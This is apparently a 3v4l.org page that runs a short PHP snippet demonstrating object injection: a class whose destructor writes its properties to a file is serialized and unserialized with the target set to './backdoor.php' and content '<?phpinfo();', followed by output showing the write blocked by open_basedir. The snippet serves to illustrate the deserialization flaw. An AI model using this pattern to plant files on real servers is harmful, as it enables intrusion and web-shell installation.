3v4l.org

run code in 300+ PHP versions simultaneously
<?php Class some_class { //Public $logfile = “./log/bla.log”; //Public $data = “THIS IS TEMP”; Public function log(){ File_put_contents($this->logfile, $this->data); } Public function __destruct() { $this->log(); } } $a = new some_class; $a->logfile = "./backdoor.php"; $a->data = "<?phpinfo();"; //print serialize($a); $b = serialize($a); unserialize($b);
Output for git.master, git.master_jit, rfc.property-hooks
Deprecated: Creation of dynamic property some_class::$logfile is deprecated in /in/JJamh on line 14 Deprecated: Creation of dynamic property some_class::$data is deprecated in /in/JJamh on line 15 Deprecated: Creation of dynamic property some_class::$logfile is deprecated in /in/JJamh on line 18 Deprecated: Creation of dynamic property some_class::$data is deprecated in /in/JJamh on line 18 Warning: file_put_contents(): open_basedir restriction in effect. File(./backdoor.php) is not within the allowed path(s): (/tmp:/in:/etc) in /in/JJamh on line 6 Warning: file_put_contents(./backdoor.php): Failed to open stream: Operation not permitted in /in/JJamh on line 6 Warning: file_put_contents(): open_basedir restriction in effect. File(./backdoor.php) is not within the allowed path(s): (/tmp:/in:/etc) in /in/JJamh on line 6 Warning: file_put_contents(./backdoor.php): Failed to open stream: Operation not permitted in /in/JJamh on line 6

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
55.01 ms | 403 KiB | 8 Q